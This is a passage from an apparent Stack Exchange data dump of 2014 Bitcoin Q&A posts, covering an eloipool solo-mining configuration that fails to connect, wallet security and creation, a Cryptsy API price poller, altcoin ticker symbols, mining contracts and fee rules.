  <row Id="20768" PostTypeId="1" CreationDate="2014-01-19T00:06:07.020" Score="1" ViewCount="924" Body="&lt;p&gt;I am trying to get eloipool up and running in a solo mining configuration using this installation &lt;a href=&quot;https://bitcointalk.org/index.php?topic=158105.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=158105.0&lt;/a&gt; eolipool starts up error free but clients cannot connect. The port is up and no visual errors in any log. tcpdump does show the packets hitting the port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the directions and I get no errors. Port 8338 comes live and can be seen via netstat.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tcp6      15      0 :::8338                 :::*                    LISTEN&#xA;tcp6       0      0 :::22                   :::*                    LISTEN&#xA;tcp6      70      0 192.168.1.8:8338        192.168.1.8:33885       CLOSE_WAIT&#xA;tcp6      71      0 192.168.1.8:8338        192.168.1.8:33896       CLOSE_WAIT&#xA;tcp6      71      0 192.168.1.8:8338        192.168.1.8:33890       CLOSE_WAIT&#xA;tcp6      71      0 192.168.1.8:8338        192.168.1.8:33897       CLOSE_WAIT&#xA;tcp6      71      0 192.168.1.8:8338        192.168.1.8:33899       CLOSE_WAIT&#xA;tcp6      70      0 192.168.1.8:8338        192.168.1.8:33892       CLOSE_WAIT&#xA;tcp6      71      0 192.168.1.8:8338        192.168.1.8:33895       CLOSE_WAIT&#xA;tcp6      71      0 192.168.1.8:8338        192.168.1.8:33891       CLOSE_WAIT&#xA;tcp6      71      0 192.168.1.8:8338        192.168.1.8:33900       CLOSE_WAIT&#xA;tcp6      71      0 192.168.1.8:8338        192.168.1.8:33889       CLOSE_WAIT&#xA;tcp6      71      0 192.168.1.8:8338        192.168.1.8:33894       CLOSE_WAIT&#xA;tcp6      71      0 192.168.1.8:8338        192.168.1.8:33898       CLOSE_WAIT&#xA;tcp6      70      0 192.168.1.8:8338        192.168.1.8:33887       CLOSE_WAIT&#xA;tcp6      70      0 192.168.1.8:8338        192.168.1.8:33884       CLOSE_WAIT&#xA;tcp6      70      0 127.0.0.1:8338          127.0.0.1:49649         CLOSE_WAIT&#xA;&#xA;&#xA;&#xA;gentoo001 home # ./minerd -o stratum+tcp://192.168.1.8:8338 -u admin -p butthole -q&#xA;[2014-01-18 22:51:19] 1 miner threads started, using 'scrypt' algorithm.&#xA;[2014-01-18 22:51:19] Starting Stratum on stratum+tcp://192.168.1.8:8338&#xA;[2014-01-18 22:51:49] stratum_subscribe timed out&#xA;[2014-01-18 22:51:49] ...retry after 30 seconds&#xA;[2014-01-18 22:52:49] stratum_subscribe timed out&#xA;[2014-01-18 22:52:49] ...retry after 30 seconds&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;gentoo001 eloipool # cat config.py&#xA;# Please note that config files are Python source code!&#xA;# A common mistake is to put an option list (such as TemplateChecks,&#xA;# JSONRPCAddresses, etc) excluding the final comma.&#xA;# For example (this is WRONG):&#xA;#     JSONRPCAddresses = (&#xA;#         ('', 8337)  # &amp;lt;-- there must be a comma after EVERY item, even last&#xA;#     )&#xA;# Without the final comma, should the option list ever have only one item in&#xA;# it, Python would interpret the &quot;main&quot; parenthesis as a mere sub-expression&#xA;# instead of a list of values. If that occurs, you might get crazy errors, or&#xA;# things might just not work correctly. Be careful to not miss the commas.&#xA;&#xA;### Settings relating to server identity&#xA;&#xA;# Name of the server&#xA;ServerName = 'Whirpools'&#xA;&#xA;### Settings relating to server scaling/load&#xA;&#xA;# Share hashes must be below this to be valid shares&#xA;# If dynamic targetting is enabled, this is a minimum&#xA;ShareTarget = 0x000000000fffffffffffffffffffffffffffffffffffffffffffffffffffffff&#xA;&#xA;# Automatically adjust targets per username&#xA;# 0 = disabled&#xA;# 1 = arbitrary targets&#xA;# 2 = power of two difficulties (zero bit counts)&#xA;DynamicTargetting = 2&#xA;&#xA;# How many shares per minute to try to achieve on average&#xA;DynamicTargetGoal = 6&#xA;&#xA;# Number of seconds hashrate is measured over&#xA;DynamicTargetWindow = 120&#xA;&#xA;# Minimum and maximum of merkle roots to keep queued&#xA;WorkQueueSizeRegular = (0x100, 0x1000)&#xA;&#xA;# Minimum and maximum of BLANK merkle roots to keep queued&#xA;# (used if we run out of populated ones)&#xA;WorkQueueSizeClear = (0x1000, 0x2000)&#xA;&#xA;# Minimum and maximum of BLANK merkle roots to keep queued, one height up&#xA;# (used for longpolls)&#xA;WorkQueueSizeLongpoll = (0x1000, 0x2000)&#xA;&#xA;# How long to wait between getmemorypool updates normally&#xA;MinimumTxnUpdateWait = 5&#xA;&#xA;# How long to wait between retries if getmemorypool fails&#xA;TxnUpdateRetryWait = 1&#xA;&#xA;# How long to sleep in idle loops (temporary!)&#xA;IdleSleepTime = 0.1&#xA;&#xA;### Settings relating to reward generation&#xA;&#xA;# Address to generate rewards to&#xA;TrackerAddr = '13siH3VpL4nwJCXpWnMMAaSZCAz9EVsNCv'  # testnet&#xA;&#xA;# Coinbaser command to control reward delegation&#xA;# %d is replaced with the total value of the block reward (in satoshis)&#xA;# %p is replaced with the previous block hash in hexadecimal&#xA;# NOTE: This example donates 1% of block rewards to Luke-Jr for Eloipool development&#xA;#CoinbaserCmd = 'echo -e &quot;1\\n$((%d / 100))\\n1579aXhdwvKZEMrAKoCZhzGuqMa8EonuXU&quot;'&#xA;&#xA;### Settings relating to upstream data providers&#xA;&#xA;# JSON-RPC servers to get block templates from&#xA;# See https://en.bitcoin.it/wiki/BIP_0023#Logical_Services for key details&#xA;TemplateSources = (&#xA;        {&#xA;                'name': 'primary',&#xA;                'uri': 'http://admin:&quot;bunghole&quot;@localhost:8332',&#xA;                'priority': 0,&#xA;                'weight': 1,&#xA;        },&#xA;        {&#xA;                'name': 'secondary',&#xA;                'uri': 'http://admin:&quot;bunghole&quot;@localhost:18332',&#xA;                'priority': 1,&#xA;                'weight': 1,&#xA;        },&#xA;)&#xA;&#xA;# JSON-RPC servers to check block proposals with&#xA;# If none provided, and selected source supports proposals, it alone will also&#xA;# be used for checking&#xA;# NOTE: Any servers listed here MUST support BIP 23 Block Proposals&#xA;# NOTE: Mainline bitcoind (as of 0.8) does NOT support this (though the 0.8.0.eligius branch does)&#xA;TemplateChecks = (&#xA;#       {&#xA;#               'name': 'primary',&#xA;#               'uri': 'http://admin:&quot;bunghole&quot;@localhost:8332',&#xA;#&#xA;#               # If 'unanimous' is true, no template will be used if this node&#xA;#               # rejects it&#xA;#               'unanimous': False,&#xA;#&#xA;#               # If check servers disagree on all templates, they will be scored and&#xA;#               # the highest score will be used; 'weight' can be used to control the&#xA;#               # scoring per-server&#xA;#               'weight': 1.1,&#xA;#       },&#xA;#       {&#xA;#               'name': 'secondary',&#xA;#               'uri': 'http://admin:&quot;bunghole&quot;@localhost:18332',&#xA;#               'unanimous': False,&#xA;#               'weight': 1,&#xA;#       },&#xA;)&#xA;&#xA;# JSON-RPC servers to submit found blocks to (when they meet the full target)&#xA;# The specific TemplateSource that the block was based on will always be sent&#xA;# the block first.&#xA;# If setting is not specified, or None, full TemplateSources list will be used.&#xA;# If an empty list, no extra submissions will be attempted.&#xA;# If an empty list, and the block was found on a &quot;clear&quot; merkle root (not based&#xA;# on any TemplateSource), the full TemplateSources list will be used.&#xA;BlockSubmissions = (&#xA;        {&#xA;                'name': 'primary',&#xA;                'uri': 'http://admin:&quot;bunghole&quot;@localhost:8332',&#xA;        },&#xA;        {&#xA;                'name': 'secondary',&#xA;                'uri': 'http://admin:&quot;bunghole&quot;@localhost:18332',&#xA;        }&#xA;)&#xA;&#xA;# Templates will not be used unless they have an acceptance ratio above this&#xA;# Range: 0.00 - 1.00&#xA;MinimumTemplateAcceptanceRatio = 0&#xA;&#xA;# No template with a combined total score below this will be used&#xA;MinimumTemplateScore = 1&#xA;&#xA;# Set to True if you want shares meeting the upstream target to wait for a&#xA;# response from an upstream server before logging them. Otherwise, for such&#xA;# shares, upstreamResult will always be True and upstreamRejectReason will&#xA;# always be None. Note that enabling this may cause shares to be logged out of&#xA;# order, or with the wrong timestamp (if your share logger uses the log-time&#xA;# rather than share-time).&#xA;DelayLogForUpstream = True&#xA;&#xA;# Bitcoin p2p server for announcing blocks found&#xA;UpstreamBitcoindNode = ('127.0.0.1', 8333)  # mainnet&#xA;&#xA;# Network ID for the primary blockchain&#xA;# Other known network IDs can be found at:&#xA;#     https://en.bitcoin.it/wiki/Protocol_specification#Message_structure&#xA;#UpstreamNetworkId = b'\x0b\x11\x09\x07'  # testnet3&#xA;UpstreamNetworkId = b'\xF9\xBE\xB4\xD9'&#xA;&#xA;# Secret username allowed to use setworkaux&#xA;#SecretUser = &quot;&quot;&#xA;&#xA;# URI to send gotwork with info for every share submission&#xA;#GotWorkURI = ''&#xA;&#xA;# Share hashes must be below this to be submitted to gotwork&#xA;GotWorkTarget = 0x00000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff&#xA;&#xA;# Aim to produce blocks with transaction counts that are a power of two&#xA;# This helps avoid any chance of someone abusing CVE-2012-2459 with them&#xA;# 1 = cut out feeless transactions; 2 = cut out even fee-included transactions (if possible)&#xA;#POT = 2&#xA;&#xA;# Avoid mining feeless transactions except to satisfy POT&#xA;# Note this only works if POT is in fact enabled in the first place&#xA;Greedy = False&#xA;&#xA;### Settings relating to network services&#xA;# Note that Eloipool only supports IPv6 sockets, and if you want to bind to an&#xA;# IPv4 address you will need to prepend it with ::ffff: eg ::ffff:192.168.1.2&#xA;&#xA;# Addresses to listen on for JSON-RPC GBT/getwork server&#xA;JSONRPCAddresses = (&#xA;        ('', 8337),&#xA;)&#xA;&#xA;# Addresses to listen on for Stratum mining server&#xA;StratumAddresses = (&#xA;        ('', 3334),&#xA;)&#xA;&#xA;# Addresses to listen on for Bitcoin node&#xA;# Note this will only be used to distribute blocks the pool finds, nothing else&#xA;BitcoinNodeAddresses = (&#xA;        ('', 8338),&#xA;)&#xA;&#xA;# Addresses that are allowed to &quot;spoof&quot; from address with the X-Forwarded-For header&#xA;TrustedForwarders = ('::ffff:127.0.0.1',)&#xA;&#xA;&#xA;# Logging of shares:&#xA;ShareLogging = (&#xA;        {&#xA;                'type': 'logfile',&#xA;                'filename': 'share-logfile',&#xA;                'format': &quot;{time} {Q(remoteHost)} {username} {YN(not(rejectReason))} {dash(YN(upstreamResult))} {dash(rejectReason)} {solution}\n&quot;,&#xA;        },&#xA;        {&#xA;                'type': 'sql',&#xA;                'engine': 'mysql',&#xA;                'dbopts': {&#xA;                        'host': 'localhost',&#xA;                        'db': 'pools',&#xA;                        'user': 'admin',&#xA;                        'password': 'bunghole',&#xA;                },&#xA;                'statement': &quot;insert into shares (rem_host, username, our_result, upstream_result, reason, solution) values ({Q(remoteHost)}, {username}, {YN(not(rejectReason))}, {YN(upstreamResult)}, {rejectReason}, unhex({solution}))&quot;,&#xA;#       },&#xA;#       {&#xA;#               'type': 'sql',&#xA;#               'engine': 'sqlite',&#xA;#               'dbopts': {&#xA;#                       'database': 'share.db',&#xA;#               },&#xA;#               'statement': &quot;insert into shares (remoteHost, username, rejectReason, upstreamResult, solution) values ({remoteHost}, {username}, {rejectReason}, {upstreamResult}, {solution})&quot;,&#xA;        },&#xA;)&#xA;&#xA;# Authentication&#xA;# There currently are 2 modules.&#xA;# - allowall will allow every username/password combination&#xA;# - simplefile will use the username/passwords from a file, which contains username&amp;lt;tab&amp;gt;password\n with no \n on the last line.&#xA;Authentication =  (&#xA;        {&#xA;                'module': 'allowall',&#xA;        },&#xA;#       {&#xA;#               'module': 'simplefile',&#xA;#               'filename': 'userdatabase',&#xA;#       },&#xA;)&#xA;&#xA;### Settings related to poolserver logging&#xA;&#xA;# By default, significant events will be printed to the interactive console&#xA;# You can customize your logging using either simple parameters, or Python's advanced logging framework&#xA;# Note that using Python's logging framework will override the default console logging!&#xA;&#xA;# To simply log everything to the system log (syslog) as well:&#xA;# LogToSysLog = True&#xA;&#xA;# To make a log file:&#xA;# LogFile = 'filename.log'&#xA;&#xA;# For a rotating log file:&#xA;LogFile = {&#xA;        'filename': 'eolipool.log',&#xA;        'when': 'midnight',&#xA;        'backupCount': 7,&#xA;}&#xA;# For details, see:&#xA;# http://docs.python.org/3/library/logging.handlers.html#logging.handlers.TimedRotatingFileHandler&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12392" LastActivityDate="2014-01-19T00:06:07.020" Title="mining pool with eloipool, fires up port but cannot connect" Tags="|bitcoind|mining-pools|development|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20769" PostTypeId="2" ParentId="2580" CreationDate="2014-01-19T02:48:32.340" Score="3" Body="&lt;p&gt;Symlink the wallet.dat file into the truecrypt volume&lt;/p&gt;&#xA;" OwnerUserId="12394" LastEditorUserId="12394" LastEditDate="2014-01-28T23:58:30.683" LastActivityDate="2014-01-28T23:58:30.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20770" PostTypeId="2" ParentId="20745" CreationDate="2014-01-19T03:51:42.247" Score="1" Body="&lt;p&gt;The 3-call letters aren't standardized, all the alt coins are just modified protocols of the original Bitcoin protocol where differences can be as small as a different port. The 3-letters thing are just abbreviations people commonly use.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-19T03:51:42.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20771" PostTypeId="2" ParentId="20767" CreationDate="2014-01-19T04:04:58.230" Score="0" Body="&lt;p&gt;A hosted wallet, which will involve a wallet running on a server that has all the wallets is a bad idea in general. People will not feel safe as they have to trust a third party with their coins and you'd have to implement a whole backend system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Piggying off Coinbase or a Blockchain is a bad idea, the services themselves may send you a Cease and Desist as you may send a lot of requests and end up swamping their servers, also you'd be copying the functionality of their apps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can write a full node, but a mobile phone may not have enough ram and storage to efficiently and quickly do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only nice, viable and realistic approach is creating an SPV client like Electrum for the mobile platform. SPV clients aren't full nodes, they put a certain amount of trust on third parties, but the amount of trust is incredibly small and always double checked. Their main method of work is just requesting data from servers, etc. You can use the Electrum protocol instead of rolling your own as well, you won't need to host servers as well doing that as the community runs Electrum nodes themselves.   &lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-19T04:04:58.230" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20772" PostTypeId="2" ParentId="20744" CreationDate="2014-01-19T04:06:48.470" Score="1" Body="&lt;p&gt;Nope, only problem will be people getting confused and technical problems if altcoins run on similar ports and work similarly. Name is completely cosmetic.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-19T04:06:48.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20773" PostTypeId="2" ParentId="20740" CreationDate="2014-01-19T04:10:11.513" Score="1" Body="&lt;p&gt;BTCGuild doesn't seem to have a public documentation on their api so I may be wrong, but from what google searches are bringing up the API is used to access stats on your account. So unless you don't want people to know how much you've mined, you can safely share it (probably).&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-19T04:10:11.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20774" PostTypeId="1" CreationDate="2014-01-19T07:36:11.403" Score="1" ViewCount="220" Body="&lt;p&gt;Can anyone tell me why many prefer to use application when compared to web based wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the drawbacks of using a web based wallet and how to overcome that?&lt;/p&gt;&#xA;" OwnerUserId="12063" LastEditorDisplayName="user5672" LastEditDate="2014-08-06T21:53:46.170" LastActivityDate="2018-12-19T14:09:28.573" Title="What are the drawbacks of using a web based wallet and how to overcome that?" Tags="|security|e-wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20775" PostTypeId="1" CreationDate="2014-01-19T07:44:16.147" Score="3" ViewCount="5133" Body="&lt;p&gt;How can i create a wallet for web based application for bitcoin i.e., unique address for each user along with the private key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does using bitcoind help me with this and how can i do this ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create wallet for each user who access a site. How can i do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoind getnewaddress '' command works and produces a new address but where is the private key for this address.&lt;/p&gt;&#xA;" OwnerUserId="12063" LastEditorUserId="12063" LastEditDate="2014-01-19T08:45:51.407" LastActivityDate="2015-04-27T04:20:26.323" Title="How to Create Wallet using Bitcoind" Tags="|wallet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20776" PostTypeId="1" CreationDate="2014-01-19T07:48:28.433" Score="-1" ViewCount="2557" Body="&lt;p&gt;I recently started mining in BitMinter's Pool. I realized I had 10 proof of works accepted by the server, but my balance didn't change. What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="12397" LastEditorUserId="5406" LastEditDate="2016-03-31T17:16:17.700" LastActivityDate="2016-03-31T17:16:17.700" Title="Bitminter Blocks: why didn't my balance change?" Tags="|mining-pools|balance|mining-pool-shares|pool-payout-methods|" AnswerCount="1" CommentCount="2" ClosedDate="2014-02-06T04:30:12.453" ContentLicense="CC BY-SA 3.0" />
  <row Id="20777" PostTypeId="1" CreationDate="2014-01-19T07:56:21.600" Score="1" ViewCount="2596" Body="&lt;p&gt;Right now I'm using EMA (exponential) since it lines up with MACD on &lt;a href=&quot;http://tradingview.com&quot; rel=&quot;nofollow&quot;&gt;Trading View&lt;/a&gt;. But I have no idea what numbers to use for the fast and slow EMA.  At the moment I'm using 10 and 21 since that's what I heard bots use - so I figured it's better to use what someone else is using for more predictability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But why 10 and 21, why not 30 or 20 or 100 or 50, etc. Does it matter what chart time is being used? I've been using 1 hour and 15min.&lt;/p&gt;&#xA;" OwnerUserId="12393" LastEditorUserId="5406" LastEditDate="2018-06-05T04:20:21.383" LastActivityDate="2018-06-05T04:20:21.383" Title="Bitcoin charts: Moving average or exponential moving average" Tags="|trading|charts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20779" PostTypeId="1" CreationDate="2014-01-19T10:10:33.907" Score="0" ViewCount="1002" Body="&lt;p&gt;I want to create a Wallet for website, i.e., for each individual user who register in the website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to transfer coins from one wallet to another wallet&lt;/p&gt;&#xA;" OwnerUserId="12063" LastActivityDate="2014-01-19T23:19:04.770" Title="How to Create Wallet for Website" Tags="|wallet|" AnswerCount="1" CommentCount="0" ClosedDate="2014-02-04T05:49:54.127" ContentLicense="CC BY-SA 3.0" />
  <row Id="20780" PostTypeId="2" ParentId="20774" CreationDate="2014-01-19T10:19:25.150" Score="1" Body="&lt;p&gt;The chance of a &quot;known&quot; website to have various attacks and compromising schemes done to it are attempted all the time.  So if you wallet on online and that site is compromised, your coins are gone... However if the wallet was on your computer, then the chance that some hacker is attempting to hack into your network is so small.  Using your own computer, you just want to regularly create backups or your wallet.dat file from your wallet and encrypt it with a strong password and put it somewhere like a thumb drive that you put in a fireproof safe, or maybe online in google drive, skydrive, dropbox.  The chance that an encrypted file is discovered by someone is so unlikely relative in comparison to the many hackers knowing about the mass storage of a given online wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could always diversify.... depending on your strategy for assets and asset management, you could always do like 10-25% of your coins in online wallet, I personally would not do any more value than that.&lt;/p&gt;&#xA;" OwnerUserId="12274" LastActivityDate="2014-01-19T10:19:25.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20781" PostTypeId="1" CreationDate="2014-01-19T11:02:19.260" Score="0" ViewCount="1587" Body="&lt;p&gt;I am trying to use the cryptsy's API to get the current price of doge. This is my code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public class Main {&#xA;&#xA;   static Market [] markets;&#xA;&#xA;   public static void main (String [] args) throws CryptsyException, InterruptedException{&#xA;&#xA;      Cryptsy cryptsy = new Cryptsy();&#xA;      cryptsy.setAuthKeys(&quot;&amp;lt;authkey&amp;gt;&quot;, &quot;&amp;lt;authpass&amp;gt;&quot;);&#xA;&#xA;&#xA;      markets = cryptsy.getMarkets();&#xA;      while(true){&#xA;         for(Market market : markets) {&#xA;            DecimalFormat df = new DecimalFormat(&quot;#.########&quot;);&#xA;            if(market.label.equals(&quot;DOGE/BTC&quot;))&#xA;               System.out.println(market.label + &quot;   &quot; + df.format(market.last_trade) + &quot;   &quot; + market.current_volume );&#xA;         }&#xA;      TimeUnit.SECONDS.sleep(5);&#xA;      }   &#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the problem is that the price get updated too rear (30 mins or something) and only if I restart my program. Anyone to know hot to get the current price?&lt;/p&gt;&#xA;" OwnerUserId="9205" LastActivityDate="2014-02-22T22:35:03.893" Title="Simple cryptsy market price observer HOW?" Tags="|api|cryptsy|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20783" PostTypeId="1" CreationDate="2014-01-19T12:38:44.500" Score="0" ViewCount="4701" Body="&lt;p&gt;How do mining contracts work? &#xA;I see mining contracts but how does it work?.&#xA;What happens when I buy one?  .&#xA;I've seen multiple mining contracts I don't know whether the prices are worth it because I have no idea what they are.  Anyone care to explain ?&lt;/p&gt;&#xA;" OwnerUserId="12403" LastEditorUserId="5406" LastEditDate="2016-04-25T20:47:18.267" LastActivityDate="2018-05-21T03:24:40.023" Title="How do mining contracts work?" Tags="|mining-profitability|cloud-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20784" PostTypeId="1" AcceptedAnswerId="20785" CreationDate="2014-01-19T13:27:16.100" Score="0" ViewCount="63" Body="&lt;p&gt;So if the core devs change the minimum fee schedule, lowering the maximum &quot;free&quot; tx from 10,000 to 1,000 bytes - how will that not cause a hard fork? Or at least prevent nodes running old software from propagating a new Tx?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/main.cpp&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/src/main.cpp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could be reading this wrong, but looks to me like the minimum fee schedule is part of the &quot;standard tx&quot; test, and so nodes with different fee schedules wouldn't be able to send all tx's between each other.&lt;/p&gt;&#xA;" OwnerUserId="3667" LastActivityDate="2014-01-19T13:36:12.623" Title="Is the minimum fee considered when a full P2P node validates a Tx?" Tags="|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20785" PostTypeId="2" ParentId="20784" CreationDate="2014-01-19T13:36:12.623" Score="1" Body="&lt;p&gt;A bitcoin network fork occur when a block generated by one node is not accepted by a percentage of nodes, those nodes will split and continue working on its own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This change will not cause a fork, it will cause that some transactions will be discarded by some nodes, older nodes will never include it on a block but newer nodes will and older nodes will accept a block with transactions different transaction fees as those are not checked for block validity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has already happened, pools can discard transactions without fees or ask for higher fees than usual for example and the block will be valid and included in the blockchain without problems. &lt;/p&gt;&#xA;" OwnerUserId="10574" LastActivityDate="2014-01-19T13:36:12.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20787" PostTypeId="2" ParentId="20745" CreationDate="2014-01-19T14:06:23.337" Score="2" Body="&lt;p&gt;As said above, there's no real, official &quot;standard&quot; everybody follows. Now then, you can go have a look at different exchanges and see what the call them. &lt;a href=&quot;https://www.cryptsy.com/&quot; rel=&quot;nofollow&quot;&gt;Cryptsy&lt;/a&gt; is famous for allowing you to deal with dozens of crypto-currencies, and they're constantly adding new ones (as well as taking out those deemed defunct) - you could go to their home-page and download &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be warned, though, that not all call-signs are 3 letters-long, though. Dogecoin appears as &quot;DOGE&quot; in most of the exchanges it appears at, and forty-two-coin is usually represented as just &quot;42&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some call-signs, off Cryptsy's page - notice the 4-lettered ones, the non-obvious (as eMark being &quot;DEM&quot; or Primecoin being &quot;XPM&quot;) and the potentially confuse (as &quot;LK7&quot; and &quot;LKY&quot;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;42   42Coin&#xA;ALF  AlphaCoin&#xA;AMC  AmericanCoin&#xA;ANC  AnonCoin&#xA;ASC  AsicCoin&#xA;BET  Betacoin&#xA;BQC  BBQCoin&#xA;BTC  Bitcoin&#xA;BTE  ByteCoin&#xA;BTG  BitGem &#xA;BUK  CryptoBuck&#xA;CAP  BottleCaps&#xA;CAT  CatCoin&#xA;CENT Pennies&#xA;CGB  CryptogenicBullion&#xA;CMC  Cosmoscoin&#xA;CNC  CHNCoin&#xA;COL  ColossusCoin&#xA;CSC  CasinoCoin&#xA;DBL  Doubloons&#xA;DEM  eMark&#xA;DGC  DigitalCoin    &#xA;DOGE Dogecoin&#xA;DVC  DevCoin&#xA;EAC  EarthCoin&#xA;ELC  ElaCoin&#xA;ELP  ElephantCoin   &#xA;EMD  Emerald    &#xA;EZC  EZCoin &#xA;FFC  FireflyCoin&#xA;FLO  FlorinCoin &#xA;FRC  FreiCoin   &#xA;FRK  Franko  &#xA;FST  FastCoin   &#xA;FTC  FeatherCoin    &#xA;GDC  GrandCoin&#xA;GLC  Globalcoin&#xA;GLD  GoldCoin   &#xA;GLX  Galaxycoin&#xA;GME  GameCoin   &#xA;IFC  InfiniteCoin   &#xA;IXC  IXCoin &#xA;KGC  KrugerCoin&#xA;LK7  Lucky7Coin&#xA;LKY  LuckyCoin&#xA;LOT  LottoCoin&#xA;LTC  LiteCoin&#xA;MEC  MegaCoin&#xA;MEM  MemeCoin&#xA;MNC  MinCoin&#xA;NAN  NanoToken&#xA;NBL  Nibble &#xA;NEC  NeoCoin&#xA;NET  Netcoin&#xA;NMC  NameCoin&#xA;NRB  NoirBits&#xA;NVC  NovaCoin&#xA;PHS  PhilosopherStone&#xA;PPC  Peercoin   &#xA;PTS  ProtoShares    &#xA;PXC  PhoenixCoin&#xA;QRK  Quark&#xA;RED  RedCoin    &#xA;RYC  RoyalCoin  &#xA;SBC  StableCoin &#xA;SXC  SexCoin&#xA;TGC  TigerCoin  &#xA;TRC  TerraCoin  &#xA;UNO  Unobtanium &#xA;WDC  WorldCoin  &#xA;XNC  XenCoin    &#xA;XPM  PrimeCoin  &#xA;YBC  YBCoin  &#xA;ZET  ZetaCoin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-01-19T14:06:23.337" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20788" PostTypeId="2" ParentId="20783" CreationDate="2014-01-19T14:17:48.643" Score="1" Body="&lt;p&gt;Well it depends on the contract, usually they promise you a fixed hash rate working for you for a fixed time (as 200Mhs for 2 months) and you will get whatever that miner gets.&#xA;This can be done hiring full machines and then you can just tell the operator the pool and client configuration so you get the coins directly on your account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or the can sell you just some part of the machine hash power, in that case you will not have the option of changing the pool settings but instead you are given a way to get the hash rate and result of your machine and then the operator gives you the percentage of it's earnings that you paid for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently there is a new kind of mining contracts, that is the cloud mining, it is just the same as the percentage system but instead you get a contol panel where you can increase or decrease the MHs you want and the operator usually runs a whole datacenter of miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The contract's price almost always are more expensive than the expected returns of that hashing power by the end of the contract but if they are paid in fiat could be an instrument to invest if you are confidant in the rise of the coin.&#xA;Also they are a good way to mine without having to worry about electricity, noise, temperature...&lt;/p&gt;&#xA;" OwnerUserId="10574" LastActivityDate="2014-01-19T14:17:48.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20789" PostTypeId="1" AcceptedAnswerId="20839" CreationDate="2014-01-19T14:20:21.467" Score="5" ViewCount="454" Body="&lt;p&gt;I am reading up on Mastercoin, and I must say, it is quite confusing. Am I correct in saying that your Bitcoin address &lt;em&gt;is&lt;/em&gt; your Mastercoin Address? If so, I have one private key that contains two cryptocurrencies?&lt;/p&gt;&#xA;" OwnerDisplayName="user6398" LastActivityDate="2014-02-03T23:08:52.837" Title="Are Mastercoin addresses Bitcoin addresses?" Tags="|omni|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20790" PostTypeId="1" CreationDate="2014-01-19T14:25:31.527" Score="0" ViewCount="1118" Body="&lt;p&gt;I've been reading around the last day or so on merged mining for coins, in specific scrypt coins but there seems to be conflicting answers, can someone let me know which of the following is correct&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) To merge mine coins they need to be specifically designed to merge mine from the start&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) You can patch a coin to merge mine (if so does the official release have to be patched to accept hashes from different blockchains or can you patch the coin yourself with auxpow to merge mine, will this not fork the blockchain im mining? ) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;c) This can be implemented by a pool, who submit the pow to multiple blockchains?&lt;/p&gt;&#xA;" OwnerUserId="12408" LastActivityDate="2014-02-12T05:05:06.760" Title="Merged mining scrypt coins" Tags="|merged-mining|mining-pools|" AnswerCount="1" CommentCount="3" 